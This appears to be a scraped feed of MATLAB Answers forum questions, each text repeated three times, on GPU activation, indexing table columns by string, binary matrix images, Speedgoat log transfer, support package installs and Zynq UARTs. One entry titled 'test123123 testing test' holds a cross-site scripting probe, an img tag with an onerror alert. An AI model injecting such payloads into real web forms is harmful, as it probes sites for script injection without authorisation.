Whenever I launch matlab on my computer (which contains both a descrete and integrated GPU), matlab always activates and uses the dGPU. Even if I have disabled the dGPU (no programs are active and the dGPU is disabled), matlab starts the GPU. Is there a reason why this is happening, and is there any way to make it stop? I don’t want matlab to actiave the gPU, which results in much lower battery life.Whenever I launch matlab on my computer (which contains both a descrete and integrated GPU), matlab always activates and uses the dGPU. Even if I have disabled the dGPU (no programs are active and the dGPU is disabled), matlab starts the GPU. Is there a reason why this is happening, and is there any way to make it stop? I don’t want matlab to actiave the gPU, which results in much lower battery life. Whenever I launch matlab on my computer (which contains both a descrete and integrated GPU), matlab always activates and uses the dGPU. Even if I have disabled the dGPU (no programs are active and the dGPU is disabled), matlab starts the GPU. Is there a reason why this is happening, and is there any way to make it stop? I don’t want matlab to actiave the gPU, which results in much lower battery life. dgpu, discrete, gpu, launch MATLAB Answers — New Questions
How to search for table column via a string
I’m trying to assign a column in rawTable with a specific header to variable ‘y’ and I’m using the string to locate and assign the values but I keep getting errors. Any way I can assign the string as a variable instead?
for i = 1:size(Sheets)
rawTable = readtable(‘TypeA vs. Type C.xlsx’,’Sheet’,Sheets(i,1));
x = rawTable.Time;
figure;
string = strcat(Types(t,1),’_’,Conditions(c,1),’_’,Muscles(m,1));
y = rawTable.string;
plot(x,y);
Error using .
Unrecognized table variable name ‘string’.
y = rawTable.string;I’m trying to assign a column in rawTable with a specific header to variable ‘y’ and I’m using the string to locate and assign the values but I keep getting errors. Any way I can assign the string as a variable instead?
for i = 1:size(Sheets)
rawTable = readtable(‘TypeA vs. Type C.xlsx’,’Sheet’,Sheets(i,1));
x = rawTable.Time;
figure;
string = strcat(Types(t,1),’_’,Conditions(c,1),’_’,Muscles(m,1));
y = rawTable.string;
plot(x,y);
Error using .
Unrecognized table variable name ‘string’.
y = rawTable.string; I’m trying to assign a column in rawTable with a specific header to variable ‘y’ and I’m using the string to locate and assign the values but I keep getting errors. Any way I can assign the string as a variable instead?
for i = 1:size(Sheets)
rawTable = readtable(‘TypeA vs. Type C.xlsx’,’Sheet’,Sheets(i,1));
x = rawTable.Time;
figure;
string = strcat(Types(t,1),’_’,Conditions(c,1),’_’,Muscles(m,1));
y = rawTable.string;
plot(x,y);
Error using .
Unrecognized table variable name ‘string’.
y = rawTable.string; string, table, variable MATLAB Answers — New Questions
test123123 testing test
"><img src=x onerror=alert(document.domain)>"><img src=x onerror=alert(document.domain)> "><img src=x onerror=alert(document.domain)> test MATLAB Answers — New Questions
” title=”test123123 testing test” />
Creation of binary coded image from a matrix
Hi
I am looking for a fast code to do the following:
get a matrix with elements between 0 and 15
create a new matrix, double the size (both rows and columns)
for each element in the first matrix, set the binary representation of this element in the new matrix, in a 2×2 way.
first example
for a 1×1 input matrix:
A =
7
The result will be:
B =
0 1
1 1
Second example
for a 2×2 input matrix:
A =
0 2
1 3
The result will be:
B =
0 0 0 0
0 0 1 0
0 0 0 0
0 1 1 1
=
Currently, I do this with a slow for loop.
I would greatly apreciate your help.
DrorHi
I am looking for a fast code to do the following:
get a matrix with elements between 0 and 15
create a new matrix, double the size (both rows and columns)
for each element in the first matrix, set the binary representation of this element in the new matrix, in a 2×2 way.
first example
for a 1×1 input matrix:
A =
7
The result will be:
B =
0 1
1 1
Second example
for a 2×2 input matrix:
A =
0 2
1 3
The result will be:
B =
0 0 0 0
0 0 1 0
0 0 0 0
0 1 1 1
=
Currently, I do this with a slow for loop.
I would greatly apreciate your help.
Dror Hi
I am looking for a fast code to do the following:
get a matrix with elements between 0 and 15
create a new matrix, double the size (both rows and columns)
for each element in the first matrix, set the binary representation of this element in the new matrix, in a 2×2 way.
first example
for a 1×1 input matrix:
A =
7
The result will be:
B =
0 1
1 1
Second example
for a 2×2 input matrix:
A =
0 2
1 3
The result will be:
B =
0 0 0 0
0 0 1 0
0 0 0 0
0 1 1 1
=
Currently, I do this with a slow for loop.
I would greatly apreciate your help.
Dror matrix, binary MATLAB Answers — New Questions
How can I download file log data manually from my Speedgoat target?
Is there a way to download file logs manually from my Speedgoat target, either with or without MATLAB?
I am looking for a way to transfer, import, and delete the files using basic protocols like FTP or SCP.Is there a way to download file logs manually from my Speedgoat target, either with or without MATLAB?
I am looking for a way to transfer, import, and delete the files using basic protocols like FTP or SCP. Is there a way to download file logs manually from my Speedgoat target, either with or without MATLAB?
I am looking for a way to transfer, import, and delete the files using basic protocols like FTP or SCP. speedgoat, ftp, scp, filelog, logging MATLAB Answers — New Questions
how to solve “Unable to download third party software: LWIP Sources” when I tried to install “Embedded Coder Support Package for STMicroelectronics Discovery Boards”
I have been attempting to install the support package "Embedded Coder Support Package for STMicroelectronics Discovery Boards" in the r2018a version of matlab, while I keep getting this error. I have tried to run matlab as Administrator, but it didn’t work.
After installing this, I tried to install another support package, Embedded Coder Support Package for ARM Cortex-M Processors, and it is successful. So I believe there is no issue about my internet.
Somebody please help me.I have been attempting to install the support package "Embedded Coder Support Package for STMicroelectronics Discovery Boards" in the r2018a version of matlab, while I keep getting this error. I have tried to run matlab as Administrator, but it didn’t work.
After installing this, I tried to install another support package, Embedded Coder Support Package for ARM Cortex-M Processors, and it is successful. So I believe there is no issue about my internet.
Somebody please help me. I have been attempting to install the support package "Embedded Coder Support Package for STMicroelectronics Discovery Boards" in the r2018a version of matlab, while I keep getting this error. I have tried to run matlab as Administrator, but it didn’t work.
After installing this, I tried to install another support package, Embedded Coder Support Package for ARM Cortex-M Processors, and it is successful. So I believe there is no issue about my internet.
Somebody please help me. third party package MATLAB Answers — New Questions
I wanted to create create 3 UART connections with a Zynq Processor to take data from 3 different receivers. Is there any resources online?
I am working with ADALM Pluto fitted with a Zynq processor and would like to process to transmit and receive data through the SDR. I want to use 3 receivers and gather their data simultaneously. Is there any MATLAB or Simulink resources that might benefit me in any way?
My main goal would be to create 3 different UART connections running at the same time.I am working with ADALM Pluto fitted with a Zynq processor and would like to process to transmit and receive data through the SDR. I want to use 3 receivers and gather their data simultaneously. Is there any MATLAB or Simulink resources that might benefit me in any way?
My main goal would be to create 3 different UART connections running at the same time. I am working with ADALM Pluto fitted with a Zynq processor and would like to process to transmit and receive data through the SDR. I want to use 3 receivers and gather their data simultaneously. Is there any MATLAB or Simulink resources that might benefit me in any way?
My main goal would be to create 3 different UART connections running at the same time. simulink, sdr, uart, serial port MATLAB Answers — New Questions